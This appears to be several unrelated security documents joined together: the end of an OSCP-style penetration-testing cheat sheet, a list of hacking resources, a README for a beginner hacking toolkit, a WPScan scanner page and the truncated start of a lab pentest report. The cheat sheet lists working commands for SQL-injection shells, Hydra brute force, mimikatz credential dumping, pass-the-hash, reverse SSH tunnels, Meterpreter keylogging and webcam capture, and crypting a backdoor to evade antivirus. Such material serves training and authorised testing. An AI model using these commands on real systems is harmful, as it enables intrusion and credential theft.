"http://www.example.com/param1/value1\*/param2/value2" --dbs \# exploits param1 Get OS shell sqlmap --dbms=mysql -u "$URL" --os-shell Get SQL shell sqlmap --dbms=mysql -u "$URL" --sql-shell SQL query sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT \* FROM $TABLE;" Use Tor Socks5 proxy sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs - Password Attacks -------------------------------------------------------------------------------------------------------------- - AES Decryption http://aesencryption.net/ - Convert multiple webpages into a word list for x in 'index' 'about' 'post' 'contact' ; do curl http://$ip/$x.html | html2markdown | tr -s ' ' '\\n' &gt;&gt; webapp.txt ; done - Or convert html to word list dict html2dic index.html.out | sort -u &gt; index-html.dict - Default Usernames and Passwords - CIRT [*http://www.cirt.net/passwords*](http://www.cirt.net/passwords) - Government Security - Default Logins and Passwords for Networked Devices - [*http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php*](http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php) - Virus.org [*http://www.virus.org/default-password/*](http://www.virus.org/default-password/) - Default Password [*http://www.defaultpassword.com/*](http://www.defaultpassword.com/) - Brute Force - Nmap Brute forcing Scripts [*https://nmap.org/nsedoc/categories/brute.html*](https://nmap.org/nsedoc/categories/brute.html) - Nmap Generic auto detect brute force attack nmap --script brute -Pn &lt;target.com or ip&gt; &lt;enter&gt; - MySQL nmap brute force attack nmap --script=mysql-brute $ip - Dictionary Files - Word lists on Kali cd /usr/share/wordlists - Key-space Brute Force - crunch 6 6 0123456789ABCDEF -o crunch1.txt - crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha - crunch 8 8 -t ,@@^^%%% - Pwdump and Fgdump - Security Accounts Manager (SAM) - pwdump.exe - attempts to extract password hashes - fgdump.exe - attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials. - Windows Credential Editor (WCE) - allows one to perform several attacks to obtain clear text passwords and hashes - wce -w - Mimikatz - extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets [*https://github.com/gentilkiwi/mimikatz*](https://github.com/gentilkiwi/mimikatz) From metasploit meterpreter (must have System level access): `meterpreter> load mimikatz meterpreter> help mimikatz meterpreter> msv meterpreter> kerberos meterpreter> mimikatz_command -f samdump::hashes meterpreter> mimikatz_command -f sekurlsa::searchPasswords` - Password Profiling - cewl can generate a password list from a web page `cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt` - Password Mutating - John the ripper can mutate password lists nano /etc/john/john.conf `john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt` - Medusa - Medusa, initiated against an htaccess protected web directory `medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10` - Ncrack - ncrack (from the makers of nmap) can brute force RDP `ncrack -vv --user offsec -P password-file.txt rdp://$ip` - Hydra - Hydra brute force against SNMP `hydra -P password-file.txt -v $ip snmp` - Hydra FTP known user and password list `hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp` - Hydra SSH using list of users and passwords `hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh` - Hydra SSH using a known password and a username list `hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh` - Hydra SSH Against Known username on port 22 `hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt` - Hydra POP3 Brute Force `hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V` - Hydra SMTP Brute Force `hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V` - Hydra attack http get 401 login with a dictionary `hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin` - Hydra attack Windows Remote Desktop with rockyou `hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip` - <span id="_bnmnt83v58wk" class="anchor"><span id="_Toc480741822" class="anchor"></span></span>Password Hash Attacks ------------------------------------------------------------------------------------------------------------------- - Online Password Cracking [*https://crackstation.net/*](https://crackstation.net/) - Hashcat running on - Sample Hashes [*http://openwall.info/wiki/john/sample-hashes*](http://openwall.info/wiki/john/sample-hashes) - Identify Hashes hash-identifier - Crask linux hashes you must first unshadow them: unshadow passwd-file.txt shadow-file.txt unshadow passwd-file.txt shadow-file.txt &gt; unshadowed.txt - John the Ripper - Password Hash Cracking - john $ip.pwdump - john --wordlist=/usr/share/wordlists/rockyou.txt hashes - john --rules --wordlist=/usr/share/wordlists/rockyou.txt - john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt - JTR forced descrypt cracking with wordlist john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt - JTR forced descrypt brute force cracking john --format=descrypt hash --show - Passing the Hash in Windows - Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-hash attack against another system: export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896 pth-winexe -U administrator //$ip cmd <span id="_6nmbgmpltwon" class="anchor"><span id="_Toc480741823" class="anchor"></span></span>Networking, Pivoting and Tunneling ================================================================================================================================ - Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port - apt-get install rinetd - cat /etc/rinetd.conf \# bindadress bindport connectaddress connectport w.x.y.z 53 a.b.c.d 80 - SSH Local Port Forwarding: supports bi-directional communication channels - ssh &lt;gateway&gt; -L &lt;local port to listen&gt;:&lt;remote host&gt;:&lt;remote port&gt; - SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network - ssh &lt;gateway&gt; -R &lt;remote port to bind&gt;:&lt;local host&gt;:&lt;local port&gt; - SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT - ssh -D &lt;local proxy port&gt; -p &lt;remote port&gt; &lt;target&gt; - Proxychains - Perform nmap scan within a DMZ from an external computer - Create reverse SSH tunnel from Popped machine on :2222 ssh -f -N -R 2222:$ip:22 root@$ip - Create a Dynamic application-level port forward on 8080 thru 2222 ssh -f -N -D $ip:8080 -p 2222 hax0r@$ip - Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains proxychains nmap --top-ports=20 -sT -Pn $ip/24 - HTTP Tunneling nc -vvn $ip 8888 - Traffic Encapsulation - Bypassing deep packet inspection - http\_tunnel On server side: sudo hts -F &lt;server\_ip\_addr&gt;:&lt;port\_of\_your\_app&gt; 80 On client side: sudo htc -P &lt;my\_proxy.com:proxy\_port&gt; -F &lt;port\_of\_your\_app&gt; &lt;server\_ip\_addr&gt;:80 stunnel - Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network - Tunnel on port 22 plink -l root -pw pass -R 3389:$ip:3389 $ip - Port 22 blocked? Try port 80? or 443? plink -l root -pw 23847sd98sdf987sf98732 -R 3389:$ip:3389 $ip -P 80 - Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection) - Windows machine add required firewall rules without prompting the user - netsh advfirewall firewall add rule name="httptunnel\_client" dir=in action=allow program="httptunnel\_client.exe" enable=yes - netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000 - netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080 - netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079 - Start the http tunnel client httptunnel\_client.exe - Create HTTP reverse shell by connecting to localhost port 3000 plink -l root -pw 23847sd98sdf987sf98732 -R 3389:$ip:3389 $ip -P 3000 - VLAN Hopping - git clone https://github.com/nccgroup/vlan-hopping.git chmod 700 frogger.sh ./frogger.sh - VPN Hacking - Identify VPN servers: ./udp-protocol-scanner.pl -p ike $ip - Scan a range for VPN servers: ./udp-protocol-scanner.pl -p ike -f ip.txt - Use IKEForce to enumerate or dictionary attack VPN servers: pip install pyip git clone <https://github.com/SpiderLabs/ikeforce.git> Perform IKE VPN enumeration with IKEForce: ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic Bruteforce IKE VPN using IKEForce: ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 Use ike-scan to capture the PSK hash: ike-scan ike-scan TARGET-IP ike-scan -A TARGET-IP ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP Use psk-crack to crack the PSK hash psk-crack hash-file.txt pskcrack psk-crack -b 5 TARGET-IPkey psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key psk-crack -d /path/to/dictionary-file TARGET-IP-key - PPTP Hacking - Identifying PPTP, it listens on TCP: 1723 NMAP PPTP Fingerprint: nmap –Pn -sV -p 1723 TARGET(S) PPTP Dictionary Attack thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst - Port Forwarding/Redirection - PuTTY Link tunnel - SSH Tunneling - Forward remote port to local address: plink.exe -P 22 -l root -pw "1337" -R 445:$ip:445 $ip - SSH Pivoting - SSH pivoting from one network to another: ssh -D $ip:1010 -p 22 user@$ip - DNS Tunneling - dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine. - Attacking Machine Installation: apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install - Run dnscat2: ruby ./dnscat2.rb dnscat2&gt; New session established: 1422 dnscat2&gt; session -i 1422 - Target Machine: https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/ dnscat --host &lt;dnscat server\_ip&gt; <span id="_ujpvtdpc9i67" class="anchor"><span id="_Toc480741824" class="anchor"></span></span>The Metasploit Framework ====================================================================================================================== - See [*Metasploit Unleashed Course*](https://www.offensive-security.com/metasploit-unleashed/) in the Essentials - Search for exploits using Metasploit GitHub framework source code: [*https://github.com/rapid7/metasploit-framework*](https://github.com/rapid7/metasploit-framework) Translate them for use on OSCP LAB or EXAM. - Metasploit - MetaSploit requires Postfresql systemctl start postgresql - To enable Postgresql on startup systemctl enable postgresql - MSF Syntax - Start metasploit msfconsole msfconsole -q - Show help for command show -h - Show Auxiliary modules show auxiliary - Use a module use auxiliary/scanner/snmp/snmp\_enum use auxiliary/scanner/http/webdav\_scanner use auxiliary/scanner/smb/smb\_version use auxiliary/scanner/ftp/ftp\_login use exploit/windows/pop3/seattlelab\_pass - Show the basic information for a module info - Show the configuration parameters for a module show options - Set options for a module set RHOSTS $ip-254 set THREADS 10 - Run the module run - Execute an Exploit exploit - Search for a module search type:auxiliary login - Metasploit Database Access - Show all hosts discovered in the MSF database hosts - Scan for hosts and store them in the MSF database db\_nmap - Search machines for specific ports in MSF database services -p 443 - Leverage MSF database to scan SMB ports (auto-completed rhosts) services -p 443 --rhosts - Staged and Non-staged - Non-staged payload - is a payload that is sent in its entirety in one go - Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus - Experimenting with Meterpreter - Get system information from Meterpreter Shell sysinfo - Get user id from Meterpreter Shell getuid - Search for a file search -f \*pass\*.txt - Upload a file upload /usr/share/windows-binaries/nc.exe c:\\\\Users\\\\Offsec - Download a file download c:\\\\Windows\\\\system32\\\\calc.exe /tmp/calc.exe - Invoke a command shell from Meterpreter Shell shell - Exit the meterpreter shell exit - Metasploit Exploit Multi Handler - multi/handler to accept an incoming reverse\_https\_meterpreter payload use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse\_https set LHOST $ip set LPORT 443 exploit \[\*\] Started HTTPS reverse handler on https://$ip:443/ - Building Your Own MSF Module - mkdir -p ~/.msf4/modules/exploits/linux/misc cd ~/.msf4/modules/exploits/linux/misc cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb ./crossfire.rb nano crossfire.rb - Post Exploitation with Metasploit - download Download a file or directory upload Upload a file or directory portfwd Forward a local port to a remote service route View and modify the routing table keyscan\_start Start capturing keystrokes keyscan\_stop Stop capturing keystrokes screenshot Grab a screenshot of the interactive desktop record\_mic Record audio from the default microphone for X seconds webcam\_snap Take a snapshot from the specified webcam getsystem Attempt to elevate your privilege to that of local system. hashdump Dumps the contents of the SAM database - Meterpreter Post Exploitation Features - Create a Meterpreter background session background <span id="_51btodqc88s2" class="anchor"><span id="_Toc480741825" class="anchor"></span></span>Bypassing Antivirus Software =========================================================================================================================== - Crypting Known Malware with Software Protectors - One such open source crypter, called Hyperion cp /usr/share/windows-binaries/Hyperion-1.0.zip unzip Hyperion-1.0.zip cd Hyperion-1.0/ i686-w64-mingw32-g++ Src/Crypter/\*.cpp -o hyperion.exe cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc\_s\_sjlj-1.dll . cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll . wine hyperion.exe ../backdoor.exe ../crypted.exe
# Athenaeum A place of knowedge # Links - [Athenaeum](#athenaeum) - [Links](#links) - [General](#general) - [Tools](#tools) - [Hacking methodology](#hacking-methodology) - [Starting](#starting) - [Best search engines for Pentesters and Security Professionals](#best-search-engines-for-pentesters-and-security-professionals) - [CTF](#ctf) - [Labs](#labs) - [SSE](#sse) - [Red Team](#red-team) - [Blue Team](#blue-team) - [Certification material](#certification-material) - [AWS](#aws) - [Wordlists](#wordlists) - [Extra Materials](#extra-materials) ## General - [awesome-security - Github](https://github.com/sbilly/awesome-security) - [Awesome Cyber Security](https://github.com/fabionoth/awesome-cyber-security) - [Awesome Pentest](https://github.com/enaqx/awesome-pentest) - [Awesome Hacking](https://github.com/Hack-with-Github/Awesome-Hacking) - [awesome-web-security - Github](https://github.com/qazbnm456/awesome-web-security) - [Security List - Github](https://github.com/zbetcheckin/Security_list) - [Hacker Search Engines](https://github.com/edoardottt/awesome-hacker-search-engines) - [cert.br](https://www.cert.br/links/) ## Tools - [AllinOne](https://github.com/Z4nzu/hackingtool) - [Sherlock](https://github.com/sherlock-project/sherlock) - [Legion](https://github.com/carlospolop/legion) ## Hacking methodology - [HackTricks Book](https://book.hacktricks.xyz/welcome/readme) - [Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/penetration-testing-cheat-sheet) - ## Starting - [Cyber-Labs-Get-Started](https://github.com/Cyber-Labs/Cyber-Labs-Get-Started) ## Best search engines for Pentesters and Security Professionals - [Shodan](https://www.shodan.io) - [Hunter.io](https://hunter.io) - [Censys](https://censys.io) - [crt.sh](https://crt.sh) - [_IntelligenceX](https://intelx.io) - [ZoomEye](https://www.zoomeye.org) - [Vulners](https://vulners.com) - [WiGLE](https://www.wigle.net) - [PublicWWW](https://publicwww.com) - [Pulsedive](https://pulsedive.com) - [viz.greynoise](https://www.greynoise.io/viz) - [fullhunt](https://fullhunt.io) - [ONYPHE](https://www.onyphe.io) - [SOCRadar](https://socradar.io) - [BinaryEdge](https://www.binaryedge.io) - [Ivre Rocks](https://ivre.rocks) ## CTF - [awesome-ctf](https://github.com/apsdehal/awesome-ctf) - [ctf hacker101](https://ctf.hacker101.com) ## Labs - [HackTheBox](https://www.hackthebox.com) - [Vuln Hub](https://www.vulnhub.com) - [TryHackMe](https://tryhackme.com) - [OWASP WrongSecrets](https://github.com/commjoen/wrongsecrets) - [Hacksplaining](https://www.hacksplaining.com/lessons) - [HackerRank](https://www.hackerrank.com/dashboard) - [PortSwigger](https://portswigger.net/web-security) - [Explotation Education](https://exploit.education/) - [offensive security Labs](https://www.offensive-security.com/labs/individual/) - [capturetheflag BR](https://capturetheflag.com.br/login.php) - [Attack-Defence](https://attackdefense.com/) - [alert(1) to win](https://alf.nu/alert1) - [CTF Komodo Security](https://ctf.komodosec.com/) - [CryptoHack](https://cryptohack.org/) - [cmdchallenge](https://cmdchallenge.com/) - [Google CTF](https://capturetheflag.withgoogle.com/) - [Defend the web](https://defendtheweb.net/) - [Hacker 101](https://ctf.hacker101.com/) - [Over the wire](https://overthewire.org/wargames/) - [The Cryptopals Crypto Challenges](https://cryptopals.com) - [W3Challs](https://w3challs.com) - [Root-Me](https://www.root-me.org) - [Root in Jail](http://rootinjail.com) - [amanhardikar](https://www.amanhardikar.com/mindmaps/Practice.html) - [pwnable](https://pwnable.kr/play.php) ## SSE - [Splunk SSE Content](https://docs.splunksecurityessentials.com/content-detail/) ## Red Team - [Awesome-Red-Team-Operations](https://github.com/CyberSecurityUP/Awesome-Red-Team-Operations) - [PenTest and Red Teams Tools by Joas and S3cur3Th1sSh1t](https://github.com/CyberSecurityUP/Awesome-Red-Team-Operations) - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - [Reverse Shell cheat sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - [Reverse shell one-liner](https://oscp.infosecsanyam.in/shells/linux-reverse-shell-one-liner) - [Bug Hunter Handbook](https://gowthams.gitbook.io/bughunter-handbook/) - [RedTeam-OffensiveSecurity](https://github.com/bigb0sss/RedTeam-OffensiveSecurity) ## Blue Team - [Blueteamlabs](https://blueteamlabs.online) - [awesome-cybersecurity-blueteam](https://github.com/fabacab/awesome-cybersecurity-blueteam) # Certification material - [OSCP Survival Guide by Joas](https://github.com/CyberSecurityUP/OSCP-Survival-Guide) - [OSCE³ Study Guide](https://github.com/CyberSecurityUP/OSCE-Complete-Guide) - [eCXD prep](https://github.com/CyberSecurityUP/eCXD-Preparation) - [eWPTX prep](https://github.com/CyberSecurityUP/eWPTX-Preparation) # AWS - [AWS Security tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) - [prowler](https://github.com/prowler-cloud/prowler) # Wordlists - [SecLists](https://github.com/danielmiessler/SecLists) - [passphrase-wordlist](https://github.com/initstring/passphrase-wordlist) ## Extra Materials - [Cyber Sec Resources](https://github.com/scspcommunity/Cyber-Sec-Resources) - [Cyber Sec Resources 2](https://github.com/vlakhani28/Cyber-Security-Resources) - [List of courses and resources](https://github.com/rajprasad12/Cyber-Security-Resources) - [List of courses](https://github.com/onlurking/awesome-infosec) - [List of courses 2](https://github.com/emtuls/Awesome-Cyber-Security-List) - [StefanAustin - Free MAterials](https://github.com/StefanAustin/free_materials) - [alex-bellon - cybersecurity-resources](https://github.com/alex-bellon/cybersecurity-resources) - [CSIRT-MU/edu-resoures](https://github.com/CSIRT-MU/edu-resources) - [Tool sets](https://github.com/sbilly/awesome-security) - Nubank test ``` docker run nubank/systems-engineer ```
<p align="center"> <img src="https://i.imgur.com/GeWQS7Y.png" width=500 /> </p> <div align="center"> <a href="https://github.com/naimkowshik/LBFH"> <img src="https://img.shields.io/badge/release-1.0-red.svg?longCache=true&style=for-the-badge" alt="build status" /> </a> <a href="https://www.python.org/"> <img src="https://img.shields.io/badge/Python-3.8-green.svg?longCache=true&style=for-the-badge" alt="build status" /> </a> <a href="https://twitter.com/K0WSHIK"> <img src="http://img.shields.io/badge/Twitter-%F0%9F%90%A6-url?color=blue&style=for-the-badge" alt="build status" /> </a> <a href="https://www.jetbrains.com/pycharm/download/#section=windows"> <img src="http://img.shields.io/badge/PyCharm-💻-url?color=orange&style=for-the-badge" alt="build status" /> </a> </div> <br /> **ONLY DOWNLOAD IT HERE, DO NOT TRUST OTHER PLACES.** Written by: [ **TeamKurais** ]-[ **Twitter** ] [@K0WSHIK](https://twitter.com/K0WSHIK), [ **GitHub** ] [@naimkowshik](https://github.com/naimkowshik) ## 🔖 About We have created this tool that many new people come in the world of pen testing & Ethical Hacking. They do not know much about the basics. So this tool has been created to help them. I hope you share this tool with your new friends. [ **DISCLAIMER** ] **:** This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period. # 📃 Features #### [ Menu ] : * Changing Your [ IP Mac Network Mask Broadcast ] Address Wlan0 And Eth0 * Sniffing & Spoofing Tools * Basic Cheatsheet Nmap * Open Sources Tools * Password Tools * Web Hacking * Exploitation Tools ### Changing Your [ Ip,Mac,Mask,Broadcast ] Wlan0 And Eth0 : * Changing Your Ip Address Wlan0 And Eth0 * Spoofing Your Mac Address Wlan0 And Eth0 * Changing Your Network Mask And Broadcast Address Wlan0 And Eth0 ### Sniffing & Spoofing Tools : * Mail Spoofing ### Basic Cheatsheet Nmap : * Nmap Target Selection * Nmap Port Selection * Nmap Port Scan types * Service And OS Detection * Most Useful Nmap Cmd ### [ Nmap Target Selection ] : * Scan a single IP * Scan a host Or Website * Scan a Range Of IPs * Scan a subnet * Scan IP List ### [ Nmap Port Selection ] : * Scan Single Port * Scan 100 Most Common Port (Fast) * Scan All (65535) Ports ### [ Nmap Port Scan types ] : * Scan Using TCP Connect * Scan Using TCP Syn Scan (Default) * Scan UDP Ports * Scan Selected - Ignore Discovery ### [ Service And OS Detection ] : * Detect OS And Services * Standard service detection * Website And IP OS Discovery ### [ Most Useful Nmap Cmd ] : * website Host Discovery * website Os Discovery * website Port Discovery * website Port Range Discovery * ping Scan The Network-listing Machines ### Password Tools : * Hash Identifier * Download Rockyou.txt ### Open Sources Tools : * Website Find With Keyword * Single Mail Scan Social Media * Multiple Mail Scan Social Media * Nick Name To Mail Found * Multiple Nick Name To Mail Found * Single Phone Number Found * Find Account By Target Name ### WEB HACKING : * [ ! ]----- **Auto** -------[ ! ] * Scan Website Traceroute * Whatweb Lookup * Whois Lookup * Website Copier On Offline Browser * Scan Website With J00mscan * Robots.txt Scanner * Dns Lookup * Etherape = Graphical Network Monitor (Root) * Clickjacking Test X Frame Options Header * Link Grabber * Ip Location Finder * Website Scan On Blue Eye * Shodan Lookup * Website Scan On Cmseek * Website Xss Toolkit * Website Deep Information Gathering Using Netcraft & Dmitry * Website Scan On Red_hawk * Website Test Finalrecon * Admin Scan Website * [ ! ]----- **Manual** -------[ ! ] * droopescan ### [ Website Xss Toolkit ] : * Xss Test With Xsstrike * Xss Attack With Xspear * BruteXSS ### Exploitation Tools : * ATSCAN * sqlmap * fsociety * Commix * Bettercap ## 📝 Bugs and enhancements For bug reports or enhancements, please open an [issue](https://github.com/naimkowshik/LBFH/issues) here. ## 🎨 Tested on * Kali linux * Parrot-Sec # ⏳ Installation **make sure your apt-get isn't broken before you run this** **RUN THIS AS ROOT** ```bash $ git clone https://github.com/naimkowshik/LBFH.git $ cd LBFH $ chmod +x setup.py $ python3 setup.py $ python3 LBFH.py ``` # 📸 SCREENSHOT ![](./tools/images/screenshot.png)
--- title: 'WPScan' path: 'scanners/wpscan' category: 'scanner' type: "CMS" state: "released" appVersion: "3.8.5" usecase: 'Wordpress Vulnerability Scanner' --- ![WPScan Logo](https://raw.githubusercontent.com/wpscanteam/wpscan/gh-pages/images/wpscan_logo.png) WPScan is a free, for non-commercial use, black box WordPress vulnerability scanner written for security professionals and blog maintainers to test the security of their sites. > NOTE: You need to provide WPSan with an API Token so that it can look up vulnerabilities infos with [https://wpvulndb.com](https://wpvulndb.com). Without the token WPScan will only identify Wordpress Core / Plugin / Theme versions but not if they are actually vulnerable. You can get a free API Token at by registering for an account at [https://wpvulndb.com](https://wpvulndb.com). Using the secureCodeBox WPScans you can specify the token via the `WPVULNDB_API_TOKEN` target attribute, see the example below. To learn more about the WPScan scanner itself visit [wpscan.org] or [wpscan.io]. <!-- end --> ## Deployment The WPScan scanType can be deployed via helm: ```bash helm upgrade --install wpscan ./scanners/wpscan/ ``` ## Configuration The following security scan configuration example are based on the [WPScan Documentation], please take a look at the original documentation for more configuration examples. * Scan all plugins with known vulnerabilities: `wpscan --url example.com -e vp --plugins-detection mixed --api-token WPVULNDB_API_TOKEN` * Scan all plugins in our database (could take a very long time): `wpscan --url example.com -e ap --plugins-detection mixed --api-token WPVULNDB_API_TOKEN` * Password brute force attack: `wpscan --url example.com -e u --passwords /path/to/password_file.txt` * WPScan keeps a local database of metadata that is used to output useful information, such as the latest version of a plugin. The local database can be updated with the following command: `wpscan --update` * When enumerating the WordPress version, installed plugins or installed themes, you can use three different "modes", which are: * passive * aggressive * mixed If you want the most results use the "mixed" mode. However, if you are worried that the server may not be able to handle a large number of requests, use the "passive" mode. The default mode is "mixed", with the exception of plugin enumeration, which is "passive". You will need to manually override the plugin detection mode, if you want to use anything other than the default, with the `--plugins-detection` option. * WPScan can enumerate various things from a remote WordPress application, such as plugins, themes, usernames, backed up files wp-config.php files, Timthumb files, database exports and more. To use WPScan's enumeration capabilities supply the `-e `option. ```bash Available Choices: vp | Vulnerable plugins ap | All plugins p | Plugins vt | Vulnerable themes at | All themes t | Themes tt | Timthumbs cb | Config backups dbe | Db exports u | User IDs range. e.g: u1-5 Range separator to use: '-' Value if no argument supplied: 1-10 m | Media IDs range. e.g m1-15 Note: Permalink setting must be set to "Plain" for those to be detected Range separator to use: '-' Value if no argument supplied: 1-100 Separator to use between the values: ',' Default: All Plugins, Config Backups Value if no argument supplied: vp,vt,tt,cb,dbe,u,m Incompatible choices (only one of each group/s can be used): - vp, ap, p - vt, at, t ``` [wpscan.io]: https://wpscan.io/ [wpscan.org]: https://wpscan.org/ [WPScan Documentation]: https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation
# PayDay ## Table of Contents * [Executive Summary](#executive-summary) * [Attack Vectors](#attack-vectors) * [Recommendations](#recommendations) * [Methodology](#methodology) * [Reconnaissance](#reconnaissance) * [Enumeration](#enumeration) * [Gaining Access](#gaining-access) * [Maintaining Access](#maintaining-access) * [Covering Tracks](#covering-tracks) * [Additional Items](#additional-items) # Executive Summary On 1 August 2021, Victor Fernandez III performed a penetration test of the Offensive Security exam network. This report includes detailed information about the vulnerabilities he discovered as well as recommendations for mitigating each of them. This report also contains an outline of the methodolgy he used to enumerate and exploit the THINC.local domain. During the penetration test, Victor was able to gain administrator-level access to multiple computers, primarly due to out-of-date and/or misconfigured software. A brief description of each computer compromised is listed below. ## Attack Vectors | Vulnerabilities | Exploits | | --- | ---| | CVE-2016-5195 | | | | EDB-ID-48891 | ## Recommendations Victor recommends patching the vulnerabilities he identified to mitigate the risk of exploitation and/or unauthorized access to Offensive Security information systems. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date. # Methodology Victor used a widely-adopted and phased approach for the penetration test. This included reconnaissance, enumeration, gaining access, maintaining access, and covering his tracks. Below is an outline of Victor's activities and serves to demonstrate how he identified and exploited a variety of information systems across the Offensive Security exam network. ## Reconnaissance The purpose of the reconnaissance phase of a penetration test is to identify information and sytems that represent the organization online and then, discover possible attack vectors. For this penetration test, Victor was asked to narrow his information gathering objectives to collecting the details below. ### General Information * Hostname: payday * Description: Things normally go smooth on payday. * IP Address: 192.168.142.39 * MAC Address: (ref:) * Domain: WORKGROUP * Distro: (ref:) * Kernel: Linux 2.6.22-14-server (ref: phpinfo) * Architecture: (ref:) ### Ports ```bash # Nmap 7.91 scan initiated Sat Jul 10 17:51:01 2021 as: nmap -sS -sU -p- --min-rate 1000 -oN scans/payday-nmap-complete 192.168.142.39 Warning: 192.168.142.39 giving up on port because retransmission cap hit (10). Nmap scan report for 192.168.142.39 Host is up (0.087s latency). Not shown: 66255 closed ports, 64807 open|filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 110/tcp open pop3 139/tcp open netbios-ssn 143/tcp open imap 445/tcp open microsoft-ds 993/tcp open imaps 995/tcp open pop3s # Nmap done at Sat Jul 10 18:03:58 2021 -- 1 IP address (1 host up) scanned in 777.79 seconds ``` ### Service Versions ```bash # Nmap 7.91 scan initiated Sat Jul 10 18:05:40 2021 as: nmap -sV -sC -pT:22,80,110,139,143,445,993,995 -oN scans/payday-nmap-versions 192.168.142.39 Nmap scan report for 192.168.142.39 Host is up (0.078s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0) | ssh-hostkey: | 1024 f3:6e:87:04:ea:2d:b3:60:ff:42:ad:26:67:17:94:d5 (DSA) |_ 2048 bb:03:ce:ed:13:f1:9a:9e:36:03:e2:af:ca:b2:35:04 (RSA) 80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6) |_http-server-header: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6 |_http-title: CS-Cart. Powerful PHP shopping cart software 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: CAPA RESP-CODES UIDL STLS SASL PIPELINING TOP |_ssl-date: 2021-07-10T22:06:11+00:00; +6s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 |_ SSL2_RC2_128_CBC_WITH_MD5 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME) 143/tcp open imap Dovecot imapd |_imap-capabilities: STARTTLS completed Capability THREAD=REFERENCES MULTIAPPEND OK NAMESPACE IDLE LOGINDISABLEDA0001 CHILDREN LOGIN-REFERRALS LITERAL+ IMAP4rev1 UNSELECT SASL-IR SORT |_ssl-date: 2021-07-10T22:06:11+00:00; +6s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 |_ SSL2_RC2_128_CBC_WITH_MD5 445/tcp open netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME) 993/tcp open ssl/imaps? | ssl-cert: Subject: commonName=ubuntu01/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Not valid before: 2008-04-25T02:02:48 |_Not valid after: 2008-05-25T02:02:48 |_ssl-date: 